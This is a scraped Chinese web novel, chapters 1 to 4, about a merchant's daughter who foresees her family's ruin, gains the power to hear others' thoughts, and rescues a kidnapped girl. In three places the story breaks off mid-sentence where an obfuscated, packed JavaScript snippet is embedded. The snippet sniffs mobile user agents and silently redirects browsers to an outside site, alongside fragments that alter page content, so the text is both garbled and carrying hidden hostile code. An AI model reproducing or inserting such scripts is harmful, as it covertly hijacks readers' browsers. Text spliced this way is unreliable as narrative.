《读心女主她只想破财免灾》 1. 第 1 章 “爹爹——” “娘亲——” “不，不要！” “嘶，疼。” 惊叫连连，骤然苏醒，沈宝珍瘫坐在床，着了魔般摩挲自己的脖颈。 “没断，在，还在……” “小姐？”丢下绣棚，丫鬟抚秋掀帘直入。 “小姐你怎么了？ “镜子，我要照镜子！”踉跄奔向梳妆台，沈宝珍捧着琉璃镜凑近瞧。 “小姐慢点，别摔着。” 在小厨房帮忙的沉夏，先流冬而至。 “没穿鞋袜下地走动，容易着凉。” 到库房盘账去了的知春，是最后一个。 沈宝珍根本没有心思理会她们，只想揽镜自照，生怕脖子和脑袋真分了家。 打小贴身伺候着的几个丫鬟，再清楚自家小姐秉性不过了。 虽是老爷夫人唯一的子嗣，当成掌上明珠娇惯，却从不打骂下人，待她们更是极好。 所以，沈宝珍还没从噩梦中完全脱离这会，丫鬟们也不问询。 一人搭手捧镜，一人捏帕擦汗，一人穿戴鞋袜，一人取衣披盖。 沈宝珍的注意力全在镜中的自己，将将及笄，明眸皓齿，与梦中老气横秋、宛若死水一潭的样子截然不同。 梦境，太过真实，像亲身经历，切切实实度过自此之后七载岁月。 期间，命途多舛，境遇，跌宕起伏。 第一年，金陵四大家族覆灭，沈家扶摇直上； 第二年，江南一带闹灾荒，流民冲进沈家又杀又抢，知春沉夏为护住她丧了命； 第三年，太子被废，她一介商女被赐婚皇子； 第四年，与至亲分离，进京大婚，成滕王妃； 第五年，继续守活寡，当京城笑话，抚秋流冬先后殁； 第六年，沈家富可敌国，滕王成太子，封太子妃； 第七年，新帝登基，封后圣旨变成砍头抄家，连主带仆七十六口共赴黄泉。 陌生又熟悉的一幕幕自脑海中闪过，极致的痛楚蔓延开，沈宝珍环膝抱头，嚎啕大哭起来。 从小到大没受过委屈，连磕碰着指甲盖都要请大夫包扎，真不知道梦里的自己怎么那么能忍？忍到最后还连累了爹爹娘亲…… “呜呜呜，娘亲，我好害怕。” 闻讯慌慌张张跑来的岑内琇，见到掉眼泪的沈宝珍后，都要心疼坏了，更别说被她抱着腰、靠在怀里委屈巴巴念上这么一句了。 “不怕不怕，娘亲在呢。” 【到底是哪个该死的东西，在梦里吓到我的乖宝了？让老娘知道，非扒了他的皮！】 窝在岑内琇怀中，听到她咬牙切齿说出扒皮二字，想到梦中在自己之前被砍头的爹爹。 刽子手一刀下去，脖子没完全断，连着层皮又被扒开确认的场面，沈宝珍止不住颤栗。 “怎么抖得这么厉害？哪不舒服？” 【沉夏怎么还没把大夫请回来？看来是又要给她们紧紧皮子了，连主子都伺候不好。】 “娘亲，不关沉夏她们的事，是我做了个梦，吓着了。”不忍几个丫鬟被迁怒，沈宝珍仰起头解释。 “好，娘亲知道，放心吧。”岑内琇宠溺地摸了摸沈宝珍的头。“乖宝可以跟娘亲说说做了什么梦吗？” 【她倒要看看，罪魁祸首究竟是谁？！】 沈宝珍张了张嘴，眼泪便夺眶而出。“噩梦，很可怕。” “吓坏了吧？”拍背安抚，柔声细语。 “嗯。”瓮声应了一句，濒临崩溃的情绪有所缓解。 岑内琇顺势落座，拿湿帕子为其净面，秀眉微蹙，眸中满是关切。 沈宝珍静静地瞧着眼前人，忆起梦中别离，鼻头一酸。 【坊间似有挡灾消厄的说法。若非芳菲院这群下人伺候不周，乖宝也不会哭得这样厉害，通通罚一月月例，让噩梦找她们去。】 没见娘亲张口，却听到声音，沈宝珍瞳孔一缩，唇瓣微启，尽显错愕。 “娘亲你说话了吗？” “怎么了？” “我好像听见你说话。” “没呢。”岑内琇轻轻拍了拍沈宝珍的手背。 【铺子里伙计也不能落下，权当为我乖宝祈福了。】 “娘亲，别罚扣她们月例，我没事了。” “好好好，不罚不罚。” 恰在此时，流冬出现，温声提醒。 “夫人、小姐，大夫们来了。” “乖宝，我们先让大夫给你瞧瞧，好不好？” “嗯。”有娘亲陪着哄着，沈宝珍状态稳定多了。 来到偏殿，大夫们分立隔帐外侧，轮流把脉问诊，写方子。 随后互相交流，拟定最终方案。 期间，略通药理的流冬，负责将他们口述的内容与最初写明的进行对照，若偏离甚至相悖，就会被剔除沈家请大夫的行列。 起初有大夫认为，这不仅是对他们能力的质疑，更是赤裸裸的羞辱。 沈家的应对，简单粗暴：好走不送。 如今在座的八名大夫，明面皆无异议。 主因还在，沈家老爷、夫人虽然是出了名的铁公鸡、周扒皮，但只要涉及沈小姐，那叫一个出手阔绰、挥金如土。 由沉夏原路送离的大夫们，捧着沉甸甸的药箱，眼角眉梢是掩不住的笑意。 治病救人，凭本事吃饭，从来都不丢人。 另一边的沈宝珍，吃起了早饭。 坐在一旁的岑内琇，因她吃得香，也跟着用了小碗鸡丝粥。 刚漱了口，流冬就端来了熬好的安神汤。 一碗安神汤下肚，沈宝珍彻底坐不住了。 消食，水榭，喂鱼。 稍稍放下心回到主院的岑内琇，还是把罚扣月例的事吩咐了下去，特地交代不得让沈宝珍知晓。 闺女心肠软，却不知道，下人不时不时敲打，迟早爬主子头上。 况且，本就是卖身为奴，沈家愿意给她们口饭吃，就该感恩戴德；想进沈家铺子当伙计的也多的是，他们若是不乐意为乖宝祈福，还能指望日后尽心尽责？不如早早换了。 对此，知春四人早有心理准备，也觉得没有照顾好小姐该罚，最重要的是，她们并不依赖每月发下来的月例过活。 是以，沈宝珍还以为娘亲被自己劝住了。 又在花园逛了逛，身子爽利多了，就是耳根子不清净，嘈杂的说话声如影随形，干脆回卧房。 沉夏照常将一小沓话本子，摆在纱窗下。“小姐，这些都是刚送来的。” 【也不知道小姐到底做了个什么梦。】 倚在美人榻上的沈宝珍，随手拿起一本。 “梦见很多坏人坏事，说出来定会吓着你们。” “小姐你怎么知道奴婢好奇？” 【难道我脸上真有字？不然小姐和知春她们，怎么总能看出我想什么？】 “你都开……”沈宝珍觉得好笑，抬头看向沉夏，却发现她并未张嘴。 【还是我表现得太明显了？】 “奴婢怎么了？小姐？”被沈宝珍歪着头打量，沉夏有些不自在。 【小姐为何这样看着我，难道方才偷吃流冬新做的糕点没擦嘴？】 “你偷吃流冬新做的糕点了？”沈宝珍带着试探的语气，她好像发现了不得了的东西。 沉夏面色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749866|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微囧。“吃了，奴婢知错。” 【完了，我脸上真有字。】 “把她们三个都叫过来吧。”沈宝珍揉了揉眉心。 在能听到他人未尽之言这种匪夷所思的可能，与自己或许还在睡梦中没醒的情况，她更为偏向后者。 但前者，似乎有迹可循。 “小姐。”沉夏有些腿脚功夫，行动如飞，很快就把在各处忙活的知春、抚秋、流冬喊来了。 【沉夏是怎么伺候的？只这一会的功夫，小姐的气色居然更差了！】知春给了沉夏一个眼刀。 【知春瞪我干嘛？我今天除了偷吃糕点，没犯其它错了呀？流冬好像没发现，小姐会不会告诉她？】沉夏故作镇定。 【小姐的新衣裳已经做好了，等会拿过来给她瞧瞧，应该会开心些。】抚秋目露期待。 【有种不详的预感，沉夏这馋猫不打自招了？本来还想给小姐一个惊喜。】流冬抿着唇，余光瞥向一侧。 “打住，吵得我头疼。”四人排排站，心声此起彼伏，捂住耳朵也能听得一清二楚。 “吵？”丫鬟们疑惑不解。 【蝉鸣的季节已过，不应该啊。】 【难道是我脸上的字吵到小姐眼睛了？】 【方才有人说话吗？】 【头疼？小姐已经喝了安神汤，再睡会应该会好很多。】 又来了。 沈宝珍没忍住赶人。“都出去，我要一个人静静。” “小姐……”沉夏还想说话，被知春扯了下袖子，噤声了。 随即四人齐声应是。“奴婢在门口守着，小姐有什么吩咐，喊一声就行。” 沈宝珍有气无力地摆手。 【小姐把自己关在房间里这事，要不要禀报夫人呢？】 【梦里到底是多可怕的事啊，小姐怎么还没缓过来？】 【上次老爷送小姐的熏香中，好些有助眠安神的功效，我现在就去找出来试试。】 【小姐变得焦躁了，抓的药不会有问题吧？】 …… 人虽消失在眼前，声却断断续续。 沈宝珍仰躺在美人榻上，闭上眼思索应对之法，没等想出个所以然，就迷迷糊糊睡了过去。 等再次睁开眼，已经是日暮时分。 【天都要黑了，乖宝还没醒。】 【这次应该没做噩梦了吧？】 【已经给她爹去信了，也不知道几时赶回来。】 …… “娘亲！”沈宝珍起身，脆声开嗓。 “哎，乖宝醒了？可是饿了？”岑内琇闻声入内，眉目舒展。 “有点，想吃八宝鸭。”肚子恰巧咕噜咕噜响。 “备着了，就等你起呢。” “娘亲真好。” “你呀。” “爹爹要回来了吗？” “还没呢，想他了？” “想。”洗脸漱口擦手一条龙。 来到外间，饭菜摆上桌，冒着热气，香气四溢。 吃完，母女俩又说了许久的话。 望着窗外夜色愈发浓稠，沈宝珍挽住岑内琇的胳膊，支支吾吾道： “娘亲，今夜我去主院陪你好不好？爹爹不在你一个人睡觉会害怕吧？” 岑内琇失笑，点头应允。 “沉夏，将我的软枕带上！”如愿以偿，沈宝珍雀跃不已。 “是，小姐。” 主院，朝晖居。 白天睡饱了，沈宝珍有些失眠。 就着烛光，凑近看岑内琇…的脖子。 犹豫再三，伸出手探了探。 嗯，没有断。 反手摸了摸自己，也还在。 2. 第 2 章 翌日。 辗转反侧小半宿的沈宝珍，躺到天光大亮。 而岑内琇，已经盘完两个铺面的账。 “老爷回来了！” 小厮飞奔而至，嬷嬷入内报喜。“夫人、小姐，老爷回来了。” “爹爹回来啦？”身着襦裙的沈宝珍，提起一侧就往外跑。 “当心着点。”岑内琇放下账册，跟了上去。 不多时，迎上归家的沈福达，身后是一众抬着箱子的小厮。 “乖宝可好些了？” “没事了，爹爹放心。”将视线从沈福达脖颈处移开，沈宝珍露出大大的笑。 “爹给你买了好些稀罕玩意，送去芳菲院才知，你搬到朝晖居睡了。” “爹爹不在，只能我来陪娘亲了。” “哈哈哈，乖宝最是贴心。”沈福达被逗乐了，也不拆穿，主动转移话题。 “夫人，快来瞧瞧我捎了什么回来。”手一扬五个大木箱悉数开启。 摆件、瓷器、书画、成衣被褥、笔墨纸砚。 “乖宝有看上的吗？” 大致扫了眼箱子里的物件，岑内琇心里就有数了。 【自诩名门望族，却想趴在他们身上吸血，还舍不得本钱，打的一手好算盘。】 “我不用，这是爹爹送给娘亲的。”沈宝珍纳闷，爹爹此行不是回乡祭祖吗？为何听娘亲的意思，并非这么简单。 “乖宝要用就用最好的。”沈福达仍旧笑眯眯。 【这些破烂怎么配得上我闺女？若非能兑几个钱，他都不稀得往回搬。幸好往返花销跟沈氏报账了，不然跑这一趟就亏大了。一个两个拐弯抹角劝我过继族中子弟，我和夫人挣的每个铜板，都是闺女的，旁人休想沾边！】 垂首的随从们，心声同样活跃。 【…老爷威武，自愧不如…】 【…出趟远门，没花一文…】 【…不接话茬，连吃带拿…】 【…住所搬光，就差门窗…】 都听到了的沈宝珍：？？？所以送娘亲的礼物是这么来的？ “抬下去归置。”岑内琇吩咐完，示意父女俩进屋。 “爹爹，娘亲，我有话说。”让伺候的人下去，沈宝珍一脸认真道。 “乖宝想说什么？” 【这般郑重，乖宝知道我罚了下人月例的事了？哪个嘴上没把门的秃噜？】 “爹爹听着。” 【乖宝不会是看上哪个混小子吧？】 沈宝珍绷着的小脸差点破功。“我能知道你们在想什么，我做的噩梦很可能变真的，是上苍暗示！” “嗯？”沈福达端起茶杯。“梦和现实是相反的。” 岑内琇噗呲笑道：“那娘亲现在在想什么？” 【估摸乖宝是没睡好，昨夜一直闹腾，还偷偷摸我脖子，待会……】 沈宝珍：！！！ “娘亲你昨晚居然装睡？还有，你答应过不罚下人月例的。” 岑内琇笑容一滞。 “我说了我知道你们在想什么！”沈宝珍再次强调。“爹爹，我没有看上哪个混小子。” 刚入口的茶水喷了出来，嘴皮子一向利索的沈福达结巴了。“什、什么混小子？” “这下你们能相信我说的话了吗？我是真的能知道你们在想什么，我也知道知春她们在想什么，家里其他下人也是一样，我能听见，刚才那些人一直在心里说话，很吵，太吵了。” 沈宝珍一股脑吐露，也顾不得如此荒诞，双亲能不能接受，会不会害怕了。 和预想中不一样的是，沈福达和岑内琇先是怔愣，默默对视后达成共识。 真假姑且不论，必须绝对保密。 得稳住乖宝，不能让第四个人知晓。 找机会见高僧，寻老道，家里好像有脏东西！ 听得门清的沈宝珍：…… 罢了，换做旁人，她也会这般怀疑。 反正她没什么主意，由着他们安排便是。 想通这一点，沈宝珍如释重负。 落在沈福达和岑内琇眼中，则是计划可行。 “爹爹，娘亲，我跟你们讲讲我做的那个梦吧。”万一日后忘了，还能问问。至于提笔记下，还是算了，不保险。 说到梦，两口子坐直了身子，严阵以待。 【罪魁祸首！】 【幕后黑手！】 沈宝珍：…… 不过也没错，按照梦境展开，那位确实克她，是沈家大敌。 略过细枝末节，很快讲到那位即将登基，沈宝珍口干舌燥，屡屡卡壳。 听得津津有味的岑内琇，忙递上茶，无声催促。 【乖宝看的那老些话本子，还没这一个梦有意思。】 接过一口闷的沈宝珍，差点被呛到：……这不是话本子！ 沈福达面泛红光，难掩激动。 “闺女，爹一定给你找个顶好人家。” 【我之前怎么想不到？若富可敌国，与天家结亲也算门当户对。】 润好嗓子，准备继续的沈宝珍：？？？ “爹爹，我招赘！” “也不是不行。”沈福达抚着下巴。 【半数家底，权当聘礼，谁会不喜欢金山银山？】 沈宝珍：！！！ 搬起石头砸自己的脚，用于现在再合适不过了吧。 不信邪将抄家砍头的结局说完，沈宝珍目不转睛看着两人。 几个呼吸过去了，一言不发，面无表情。 竖起耳朵再听他们的真实想法。 一片寂静，什么都没有！ 哼！ 生气了，要哄的那种。 臭娘亲，当话本子听是吧？ 回去就把所有话本子藏起来，再也不给她看了！ 臭爹爹，还想当首富是吧？ 好。 从今天起，她就要当败家子！ 把家里的钱全都花…花一半，看你怎么办！ 沈宝珍气鼓鼓，三步并作两步走，知春几人小跑都跟不上。 【为什么，为什么，为什么？】 【我只是个洒扫丫鬟，都没机会伺候小姐…】 突然被罚，担心不能如期送月例回家，妹妹会像自己一样，被爹和后娘卖掉的洒扫丫鬟，手上干着活，心里流着泪。 【我真没用，没了月例…我活着还有什么意思？不如死了算了。】 沈宝珍前脚踏进芳菲院，后脚就接收到小丫鬟的遗言。 发现主子，牢记不得碍眼的规矩，悄悄退下绕行的洒扫丫鬟，被沈宝珍出声喝住。 “奴、奴婢见过小姐。”洒扫丫鬟福了福身。 “会发月例，都有！” “是。”洒扫丫鬟垂首应。 【嗯？小姐说有什么？我好像幻听了。】 连串的脚步声靠近，沈宝珍幽幽道：“知春，开钱匣，发月例。” “小姐，距发月例还有两日，银子由夫人那边下拨，不从小姐你的钱匣出。” “发，就今天，一个都不能落。”沈宝珍指向洒扫丫鬟：“从她开始。” “是。” 望着沈宝珍离开的背影，洒扫丫鬟喜极而泣。 月例罚扣作罢，提前发放到手，芳菲院内感念声成片。 消息传开，其他丫鬟小厮也是羡慕居多。 沈宝珍不堪其扰，干脆出门散心。 漫无目的，行至四海酒楼。 扫了眼牌匾上烙着的元宝印，确定是沈家产业，当即决定进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749867|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去歇歇脚。 沈宝珍没有经商天赋，对自家有多少铺面，坐落于何处只知道大概。 但，独属于沈家产业的印记，她是清楚的。 腰间系着的玉牌，也能让掌柜们识出她的身份，予取予求。 由堂倌领着于二楼临街雅间落座，掌柜很快露面。 “见过小姐。” 【小姐亲临，今天得打起十二分精神，不能出丝毫差错。】 沈宝珍：“……上壶茶，再来几碟子点心。” “是。” 【小姐爱喝什么茶？吃什么点心来着？】 片刻后，一一呈上，掌柜轻手轻脚带上门。 【掌柜的挺有眼力劲。】 【荷花酥、枣泥糕……都是小姐爱吃的，看着就很可口。】 【赏心悦目，不知道适不适合绣出来。】 【这些我也会做。】 “坐着吃吧。”吃着东西应该不会想东想西。 “谢小姐。”沉夏应答最大声。 沈宝珍靠坐窗边，神色淡淡。 与此同时，酒楼后厨。 “掌柜的，我求你了，我娘还在医馆等着救命，把工钱发我吧！”烧火涮洗的杂工伙计苦苦哀求。 “你求我有什么用？东家发话我还能违背？你娘等着钱救命，我一家老小也靠我糊口，这事没得商量。”掌柜压低嗓子。 “我跪下给你磕头了，求你了，行行好，预支下个月工钱也行。”哐哐作响，脑门霎青。 “预支工钱？我们酒楼从没有这个先例，别白费力气了。”掌柜的甩手就走，没走多远又折返。 杂工伙计生出希望，却听到掌柜带着警告的口吻道：“今天酒楼来了贵客，要是闹出动静惊扰，有你好果子吃。” “我知道了。”希望破灭，全身力气好似被抽干，踉跄起身，继续干不完的活。 来后厨端菜撞见这幕的堂倌叹了口气，很快又扬起笑奔走。 【酒楼客似云来，东家只赚不赔，为什么还要克扣我们的工钱，好没道理。】 【管事、掌柜工钱照常发，我们这些堂倌杂役就是活该倒霉呗。】 【动不动来这么一出，家里时不时断顿，又不能不做这份活，这样的日子什么时候才到头？】 【唉——】 又接引了客人至厢房，张口就是好酒好菜尽管上，对照自己等人窘迫的处境，堂倌起了落差，不吐不快。 沈宝珍的目光越过吃点心的丫鬟，落在掩住的门上。 方才那些，是经过堂倌的心声？ 他们的工钱怎么会被……等等，她想起来了。 “去把掌柜喊来。” “我去。”沉夏按住欲起身的知春，自告奋勇，很快将人领来。 “小姐有什么吩咐？” “补发伙计们的工钱，日后也不得随意克扣。”沈宝珍开门见山。 “这、这……”掌柜的反应有些怪异，似是意外，又有心虚。 “按我说的办。”言毕，送客。 “看着憨厚老实，居然克扣伙计工钱？” “小姐你就这么放过他了？太便宜他了。” “应该告诉老爷夫人，严惩不贷！” “没错。” 丫鬟们义愤填膺，洞悉前因后果的沈宝珍：…… “行了，他也是迫不得已。” “都是掌柜了，还能有谁逼他不成……”沉夏说着说着哑火了。 掌柜上面还有东家，东家是老爷夫人，好像也不是不可能。 抚秋、流冬面面相觑，素来聪慧的知春，一开始也没反应过来。 “好了，我们回去吧。”她得让娘亲把其它铺子伙计的工钱一道补了。 祈福，哪有这样的？ 3. 第 3 章 “乖宝说得对，已经吩咐下去了。” “明儿一早，让你娘亲陪你出城去百福寺祈福。” “啊这……”沈宝珍哑然。 “怎么了？” “爹爹不去吗？” “爹爹得去赴宴。” “好吧。” 看着使小性子把自己哄好的宝贝闺女，夫妻俩心头直发软，不约而同忆起过往。 “爹爹，娘亲，我回去了。”沈宝珍羞得脚趾抠地，火速遁离。 “哎！” “这孩子，又走那么快。” 上回沈宝珍讲述完梦境，两人都被离散丧生的凄惨下场惊住，并非无动于衷，而是脑子宕机。 等回过神来，沈宝珍早没影了。 虽说仍觉得只是一个梦，但确实能引为鉴戒。 比如，与天家攀亲，绝不可为。 行商坐贾，官大一级压死人。 何况高高在上的天潢贵胄。 他们想竭尽所能给沈宝珍最好的，婚配亦然，若只是散财便能如愿，自是无惧，但，日后许会吃苦受罪，还没法为其撑腰，那是坚决不行。 夫妻俩秉烛夜谈后，达成初步共识——继续攒家底。 “我已经打探清楚了，百福寺香火繁盛，住持玄明是得道高僧，多捐些香油钱，应该能见上一面。” 顿了顿，沈福达又道：“若是连他都看不出什么问题，整个金陵恐怕也找不出第二个了。” “明日且去试试。” “嗯，多带些随从。” “好。” 次日，百福寺。 上了头香，塞满功德箱，见着玄明大师，得赠一支签文。 「云有定数却随风， 舟无方向反到岸。 掌心纹是山河皱， 心头空处见真缘。」 云里雾里，不明所以。 趁着娘亲与大师细谈的功夫，沈宝珍来到菩提树下。 禅意，清幽。 让丫鬟们后退十数步后，沈宝珍感受到久违的安宁。 但随着时间一分一秒过去，来来往往的其他人越来越多。 卡在沈宝珍的耐心告罄前夕，眼尾泛红的岑内琇现身。 【乖宝姻缘天定，日后贵不可言，遇难呈祥，逢凶化吉，有大造化……不愧是得道高僧，阿弥陀佛，佛祖保佑。】 一通听下来，沈宝珍归心似箭。 * 马车安置处。 “小小姐不见了！快，快去找！”一名男子脚步匆匆，朝守着马车的车夫喊。 “什么？什么时候不见的？在哪里不见的？”车夫急切追问。 “半柱香前，佛像处，你家夫人让你也跟着一块找。”男子走近解释道。 “不对，你是谁？我都不认识你！”车夫一把扯住来人。 男子试图挣脱，无果，没好气道：“好心当成驴肝肺，要不是我家主子良善，我才不会跑这一趟，爱信不信，反正再耽搁下去，能不能找到人就得听天由命了，呵。” 车夫迟疑了。 男子趁机脱离掌控，大步离去，不忘补上一句：“话已经带到，进不进去找是你的事。” 车夫犹豫再三，终是拔腿往里。 下一刻，消失的男子露面。 肩上多了个麻袋，松松垮垮，窜上马车，将其塞入座下空间，扮起了被他诓走的车夫，驾着往寺门走。 因是自家马车，又是回府报信，第一时间把住各个出口的护卫果断放行。 从寺庙到官道有段距离，意欲赶在被发现前，驶向和金陵城相反的方向，男子挥鞭驰骋，远远就看到沈家一行人。 【啧啧啧，三辆马车二十随从，好大的排场，金陵城果真富贵云集呐。】 【这笔买卖做完，我也能过上衣来伸手饭来张口的生活。】 男子畅想未来之际，麻袋中的小姑娘，因颠簸从昏迷中苏醒。 【这是哪？】 【我怎么了？】 【好黑。】 【母亲？】 手脚被绑，嘴巴被堵，眼睛睁开一片漆黑，只知道自己在狭窄的空间里，翻身都难。 【母亲肯定在找我。】 【父亲知道我不见了吗？】 【颠簸，像是在马车上。】 【谁来救救我，要是有人能救救我就好了。】 车夫和小姑娘的声音几乎重叠，沈宝珍掀开帘子，果然看见一辆马车擦过。 有问题。 “小姐。”注意到沈宝珍举动的徐力，打马靠近，为其解惑。 “那辆马车，像是新任巡抚家眷乘坐的。” “新任江苏巡抚，姓周名弘言，据说是赴任途径金陵，特来拜会两江总督，暂居江宁知府衙门，老爷今日赴的就是知府大人为周巡抚办的接风宴。” 【沈家明明是商户，却能见着从二品大臣，这是何等殊荣呐！】 沈宝珍点了点头，话锋一转：“拦住它。” “拦巡抚家眷的马车？” 【小姐也太大胆了，是不是该请示夫人？】 “那辆马车有问题，事急从权，娘亲若是怪罪我担着。” 若非徐力说起这位巡抚，她都没想起来梦里有他的事。 堂堂巡抚，上任前夕，妻女一死一失，自己坠河溺亡。 周巡抚之女，很可能就是此时失踪的。 “是。” 【小姐聪慧，竟知晓我的顾虑。】 徐力带上三名随从，朝着已经越过沈家的马车而去。 “你们是什么人？巡抚大人家的马车也敢拦，是活腻歪了？”强压下可能被抓包的惧意，男子怒喝。 就是这个声音，她绝对没有听错！ 光天化日之下将自己掳走，还不知道要带到什么地方去。 她不能坐以待毙，得想办法逃脱。 周兰溪用可以小幅晃动的脑袋往两边撞，发出微弱闷响。 外面的对峙还在继续，无人察觉到她的求救。 “得罪了。”徐力手一扬一落，四人包抄，拦下马车，勒住缰绳。 “搜！” 观沿途车辙，车厢内不像有人，再瞧男子模样，根本不似风吹日晒的车夫，加之小姐下令阻拦，他自得遵从。 “车厢里没人。” “哼，松手！我家小小姐在寺中走失，在下奉命回府报信，尔等阻扰莫不是和歹人一伙，想要杀人灭口？！”男子理直气壮，倒打一耙。 【此地不宜久留。】 被他掳走的小姑娘听到这话，差点气撅了。 这世间怎么会有如此厚颜无耻之徒？ 【你才是歹人！】 【待逃出生天，我定要让父亲治你的罪！】 离得近了又听见“二重奏”，沈宝珍愈发确信先前猜测。 “按住他，再仔细找找！” 随从们一拥而上，男子直接被按倒在地。 徐力则亲自下马搜寻。 车厢内一览无余，确实无人，但有些马车座下会掏空用于储物，若非有个管家爹，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749868|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是也想不到这点。 “你们究竟是什么人，等我回禀巡抚大人，定将尔等……”男子还在狡辩，一些随从意志动摇，暗暗叫苦。 【他说的好像是真的。】 【巡抚？若真是巡抚大人，那我们不是死定了】 【民不与官斗，巡抚大人哪里是沈家能得罪的？】 【之后老爷不会拿我们去赔罪吧？】 【完了…小姐怕是闯大祸了，怎么办？】 “找到了！”徐力有些激动地喊：“他才是歹徒！” 他这话算是喊到周兰溪心坎里去了，都不在乎徐力施救的动作粗鲁，连连道谢。 马车旁还在为自己高声辩解的男子，像被掐住了喉咙，但很快又换了套说辞。 “什么？是找到我家小小姐了吗？太好了！夫人都要担心坏了，放开我，我要亲眼……” 刚在心里骂了他一轮的随从：？？？又冤枉他了？ “扯谎！你根本不是我家的车夫！你是歹徒！”几近总角之龄的周兰溪，因是早产儿，身子骨瘦弱，看着只有五六岁，所以才会被巡抚夫人带到寺中，以求康健顺遂，没想到遭了劫。 这会从车厢里走出，站在那指认元凶，就像个炸毛的小团子，可爱有余气势不足。 “多谢诸位壮士相救，待我见着父亲母亲，定如数相告，奉上谢礼。” “我等都是奉命行事，要谢就谢我家小姐。” 突然想起管家爹说的老爷语录中的一句话。 施恩于人定要言明姓甚名谁，省得对方找错人，可以不赚，绝不能亏。 徐力补充道：“金陵城西街，沈家。” “好，我记住了。不知你家小姐现……” 扫视一圈，根本没有沈家车队踪影。 嗯？ 什么时候走了？ 她明明听到有一女子发号施令。 “小姐令你等护送这位姑娘，直到与至亲团聚。”一随从打马而至，说完又利索离开。 徐力等人：有种被抛弃的错觉。 沈宝珍：不走继续听你们在心里蛐蛐我和我爹爹？ 百福寺。 “找到了吗？” “找不到？寺庙就这么大，怎么会找不到？” “快让车夫回府上报信！” “什么？半柱香前他就驾车回去了？怎么可能！他刚才还在这。” “车夫有问题，兰儿在马车里！” “追！” 急得像热锅上蚂蚁、毫无头绪的李氏和一干护卫终于发现了问题。 可一没马车二不识人三无目标，但凡没赶在抵官道岔路口之前追上，怕是又会变成无头苍蝇。 护卫带着车夫策马先行，李氏借用寺中马车紧随，双方都很迫切，也很惶恐。 而另一边的周兰溪，则坐上了回金陵城的马车，连带那位“拐子”。 从男子明显知晓她身份却敢胡来，周兰溪就隐隐意识到，这事绝非看起来这么简单。 自知力不能及，唯赖父亲抽丝剥茧，明察秋毫，了却后顾之忧。 她拜托徐力派了一人，折返寺中同母亲李氏言明。 母亲若信，必然归家。 如若不信，将计就计。 能将她从寺中劫走，想来还有帮手，是庙中僧侣？还是知府护卫？亦或二者皆有？ 父亲新官上任，挡了谁的路？ 是政敌所为？还是此间藏污纳垢…… 周兰溪觉得自己脑袋瓜子好像磕坏了，不够用。 * 4. 第 4 章 沈家，朝晖居。 “怎么了这是？”赴宴归来，吃得肚溜圆，连晚饭都省了。 见一向纵着顺着闺女的夫人，居然板起个脸，稀罕又好奇。 “说吧。”岑内琇微微侧身，乖宝好像挺委屈，她有点装不下去了。 训斥的狠话就让当爹的说吧。 “回来路上，我让徐力拦了巡抚家眷的马车，是为了救……”看着满满一桌自己爱吃的，沈宝珍捏着筷子，动也不是，不动也不是。 “你怎么能让徐力去？” “我知道错了，那是巡抚……” 沈福达摆手道：“不是因为什么巡抚，而是，只要出城，徐力必须寸步不离保护你，你想做什么，随便吩咐哪个随从去就是了啊！” “我就不应该小憩，应该把你拘在眼皮子底下，看你还敢不敢这么胡来，怎么能为了旁的什么人，把自己至于危险境地？” “非要一个人待在最后一辆马车里就算了，还把随从支出去大半……”岑内琇说着，就是一阵后怕。 啪嗒，沈宝珍手里的筷子掉了一只。 所以，娘亲爹爹生气不是因为冒犯了巡抚大人，而是把负责保护自己的徐力支了出去？ “我知道错了，下次不敢了。” “什么？一个人一辆马车，还在最后面？随从还支出去大半？”沈福达听得太阳穴突突地跳。 “乖宝你没有伤着吧？回来这一路有没有察觉什么不对劲的地方？” “不行，还是把伺候你的丫鬟，以及随从都喊来，我要挨个问问。” “徐力几个到现在还没回来，说是护送什么人。”岑内琇拱火式又添了一句。 “什么？管家！快让管家来见我，看看他教的什么好儿子！”沈福达拍案而起。 “爹爹，是我吩咐他做的。”沈宝珍弱弱道。 “那别喊管家了，徐力回来，让来见我。”火气顿消，忧虑徒增。“以后可万万不能这般任性了，知道吗？” “嗯。”沈宝珍点头如捣蒜，思维却在发散，爹爹娘亲这会居然没有心声欸。 江宁知府衙门。 “父亲，可有头绪？” “哼！江南官场糜烂至此，为了遮掩经年贪墨的丑事，竟朝我儿下手，令人发指！”周弘言面色冷凝。 为官避事平生耻，越是如此他越要掀开贪官污吏的遮羞布，还此间百姓一个朗朗乾坤。 既有决断，周兰溪心头大定。“幸得沈家小姐相救，不然女儿怕是再也见不到父亲母亲。” 